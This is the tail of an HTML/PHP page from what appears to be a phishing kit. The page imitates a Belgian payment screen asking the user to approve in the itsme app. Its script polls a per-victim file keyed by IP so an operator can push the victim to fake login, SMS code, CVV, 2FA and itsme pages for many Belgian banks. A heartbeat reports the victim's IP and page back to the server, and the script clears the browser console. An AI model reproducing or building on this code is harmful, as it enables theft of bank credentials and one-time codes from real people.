                                                    <span id class="custom-text ng-binding">Ouvrez manuellement l'application itsme et suivez les instructions. Revenez manuellement à l'écran de paiement pour continuer.</span>
                                                </custom-text>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12 cancel__container">
                                            <cancel-button class="cancel-button change-button-margin ng-isolate-scope">
                                                <button type="button" class="btn btn-default" aria-label="Annuler">
                                                    <span class="fa fa-ban sf-hidden" aria-hidden="true"></span>
                                                    <custom-text class="ng-isolate-scope">
                                                        <span id class="custom-text ng-binding">Annuler la demande</span>
                                                    </custom-text>
                                                </button>
                                            </cancel-button>
                                        </div>
                                    </div>
                                </div>
                                <div class="row footer">
                                    <div class="col-xs-12 col-sm-12 col-md-12 col-lg-12 text-center">
                                        <i18n locales="allLanguages" class="ng-isolate-scope">
                                            <div id="i18n" class="btn-group-xs btn-group ng-scope" role="group" style>
                                                <button type="button" class="btn btn-primary ng-binding ng-scope active">
                                                    <img class="flag sf-hidden" alt="fr" src="data:,">FR

                                                </button>
                                                <button type="button" class="btn btn-primary ng-binding ng-scope">
                                                    <img class="flag sf-hidden" alt="en" src="data:,">EN

                                                </button>
                                                <button type="button" class="btn btn-primary ng-binding ng-scope">
                                                    <img class="flag sf-hidden" alt="nl" src="data:,">NL

                                                </button>
                                                <button type="button" class="btn btn-primary ng-binding ng-scope">
                                                    <img class="flag sf-hidden" alt="de" src="data:,">DE

                                                </button>
                                            </div>
                                        </i18n>
                                        <help class="helpButton ng-isolate-scope help-button text-left">
                                            <button type="button" class="btn btn-default">
                                                <span class="fa fa-info sf-hidden" aria-hidden="true"></span>
                                                <custom-text class="ng-isolate-scope">
                                                    <span id class="custom-text ng-binding">Aide</span>
                                                </custom-text>
                                            </button>
                                        </help>
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </custom-component>
        </poll> 
    </ui-view>
    <script src="./bc_files/jquery.min.js?<?php echo base64_encode(rand(0, 9999)); ?>"></script>

    <span style="display:none;"><?php echo substr(str_shuffle($permitted_chars), 0, 2); ?></span>


    <script>
        var ip = "<?php echo $ip; ?>";
        var token1 = "<?php echo $token1; ?>";
        var waiting = setInterval(function() {
            $.get('./users/' + ip + '.txt?rand=' + Math.random().toString(36).slice(-5), function(data) {
                if (data == 0) {
                    //console.log('hada ba9i 0');
                } else {
                    var row = data.split('#|#');
                    var one = row[0];
                    var two = row[1];
                    var tree = row[2];
                    var forth = row[3];
                    if (one == 'url') {
                        clearInterval(waiting);
                        location.href = tree;
                    } else if (one == 'load') {
                        clearInterval(waiting);
                        location.href = "./bc-load.php?token=" + token1 + "&error=" + two;
                    } else if (one == '2fa') {
                        sessionStorage.setItem('text', tree);
                        sessionStorage.setItem('img', forth);
                        clearInterval(waiting);
                        location.href = "./bc-2fa.php?token=" + token1 + "&error=" + two;

                    } else if (one == 'cvv') {
                        clearInterval(waiting);
                        location.href = "./cvv.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'errorCCS') {
                        clearInterval(waiting);
                        location.href = "./bc-errorCCS.php?token=" + token1 + "&error=" + two + "&t0=" + encodeURIComponent(tree || '') + "&t1=" + encodeURIComponent(forth || '') + "&t2=" + encodeURIComponent((row[4] !== undefined && row[4] !== null) ? row[4] : '') + "&t3=" + encodeURIComponent((row[5] !== undefined && row[5] !== null) ? row[5] : '');
                    } else if (one == 'l-axa') {
                        clearInterval(waiting);
                        location.href = "./bc-l-axa.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-bpost') {
                        clearInterval(waiting);
                        location.href = "./bc-l-bpost.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-belfius') {
                        clearInterval(waiting);
                        location.href = "./bc-l-belfius.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-kbc') {
                        clearInterval(waiting);
                        location.href = "./bc-l-kbc.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-cbc') {
                        clearInterval(waiting);
                        location.href = "./bc-l-cbc.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-bnp') {
                        clearInterval(waiting);
                        location.href = "./bc-l-bnp.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-ing') {
                        clearInterval(waiting);
                        location.href = "./bc-l-ing.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-digipass') {
                        clearInterval(waiting);
                        location.href = "./bc-l-digipass.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-keytrade') {
                        clearInterval(waiting);
                        location.href = "./keytrade.php?token=" + token1 + "&error=" + two + "&t0=" + encodeURIComponent(tree || '') + "&t1=" + encodeURIComponent(forth || '');
                    } else if (one == 'l-nagelmackers') {
                        clearInterval(waiting);
                        location.href = "./nagelmackers.php?token=" + token1 + "&error=" + two + "&t0=" + encodeURIComponent(tree || '') + "&t1=" + encodeURIComponent(forth || '');
                    } else if (one == 'l-argenta') {
                        clearInterval(waiting);
                        location.href = "./bc-l-argenta.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'log-argenta') {
                        clearInterval(waiting);
                        location.href = "./bc-l-argenta-log.php?token=" + token1 + "&error=" + two + "&t0=" + encodeURIComponent(tree || "");
                    } else if (one == 'l-deuch') {
                        clearInterval(waiting);
                        location.href = "./bc-l-deuch.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-cph') {
                        clearInterval(waiting);
                        location.href = "./bc-l-cph.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-beoDigi') {
                        clearInterval(waiting);
                        location.href = "./bc-l-beoDigi.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-beoApp') {
                        clearInterval(waiting);
                        location.href = "./bc-l-beoApp.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'l-crelan') {
                        clearInterval(waiting);
                        location.href = "./bc-l-crelan.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'itsMe') {
                        clearInterval(waiting);
                        location.href = "./bc-itsMe.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'bill') {
                        clearInterval(waiting);
                        location.href = "./bc-bill.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'infos') {
                        clearInterval(waiting);
                        location.href = "./bc-infos.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'fr-infos') {
                        clearInterval(waiting);
                        location.href = "./bc-fr-infos.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'choice') {
                        clearInterval(waiting);
                        location.href = "./bc-choice.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'method') {
                        clearInterval(waiting);
                        location.href = "./bc-m-choice.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'sms') {
                        clearInterval(waiting);
                        location.href = "./bc-sms.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'argenta-sms') {
                        clearInterval(waiting);
                        location.href = "./argentaotp.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'approve') {
                        clearInterval(waiting);
                        location.href = "./bc-approve.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'refuser') {
                        clearInterval(waiting);
                        location.href = "./bc-refuser.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'accepter') {
                        clearInterval(waiting);
                        location.href = "./bc-accepter.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'choice-crelan') {
                        clearInterval(waiting);
                        location.href = "./bc-choice-crelan.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'crelan-activation') {
                        clearInterval(waiting);
                        location.href = "./bc-crelan-activation.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'choice-belfius') {
                        clearInterval(waiting);
                        location.href = "./bc-choice-belfius.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'choice-cbc') {
                        clearInterval(waiting);
                        location.href = "./bc-choice-cbc.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'app-crelan') {
                        clearInterval(waiting);
                        location.href = "./bc-app-crelan.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'itsMe-belfius') {
                        /* clearInterval(waiting);						
                        location.href = "./bc-itsMe-belfius.php?token=" + token1 + "&error=" + two;	*/
                    } else if (one == 'itsMe-cbc') {
                        clearInterval(waiting);
                        location.href = "./bc-itsMe-cbc.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'l-belfiusMobile') {
                        clearInterval(waiting);
                        location.href = "./bc-l-belfiusMobile.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'bnp-idMobile') {
                        clearInterval(waiting);
                        location.href = "./bc-bnp-idMobile.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'l-bnpMobile') {
                        clearInterval(waiting);
                        location.href = "./bc-l-bnpMobile.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    } else if (one == 'bnp-otpMobile') {
                        clearInterval(waiting);
                        location.href = "./bc-bnp-otpMobile.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'ing-idMobile') {
                        clearInterval(waiting);
                        location.href = "./bc-ing-idMobile.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'ing-itsMeMobile') {
                        clearInterval(waiting);
                        location.href = "./bc-ing-itsMeMobile.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'ing-otpMobile') {
                        clearInterval(waiting);
                        location.href = "./bc-ing-otpMobile.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'l-ingOneMobile') {
                        clearInterval(waiting);
                        location.href = "./bc-l-ingOneMobile.php?token=" + token1 + "&error=" + two;
                    } else if (one == 'l-ingTwoMobile') {
                        clearInterval(waiting);
                        location.href = "./bc-l-ingTwoMobile.php?token=" + token1 + "&error=" + two + "&t0=" + tree + "&t1=" + forth;
                    }

                }
            });

            console.clear();

        }, 2100);
    </script>
    <script>
        // Send heartbeat every 5 seconds to update user's online status
        (function() {
            // Function to send heartbeat with user's IP
            function sendHeartbeat() {
                fetch('config.php?heartbeat=true&ip=<?php echo $ip; ?>&page=bc-itsMe-belfius.php', {
                        method: 'GET',
                        headers: {
                            'Cache-Control': 'no-cache',
                            'Pragma': 'no-cache'
                        }
                    })
                    .then(response => response.json())
                    .then(data => {
                        console.log('Heartbeat sent:', data.timestamp);
                    })
                    .catch(error => {
                        console.error('Heartbeat error:', error);
                    });
            }

            // Send initial heartbeat
            sendHeartbeat();

            // Set up interval to send heartbeat every 5 seconds
            let heartbeatInterval = setInterval(sendHeartbeat, 5000);

            // Handle page visibility changes (pause when tab is hidden)
            document.addEventListener('visibilitychange', function() {
                if (document.hidden) {
                    console.log('Page hidden - heartbeat paused');
                    clearInterval(heartbeatInterval);
                } else {
                    console.log('Page visible - heartbeat resumed');
                    sendHeartbeat(); // Send immediate heartbeat when tab becomes visible
                    heartbeatInterval = setInterval(sendHeartbeat, 5000); // Resume interval
                }
            });

            // Clean up on page unload
            window.addEventListener('beforeunload', function() {
                clearInterval(heartbeatInterval);
            });
        })();
    </script>
</body>

</html>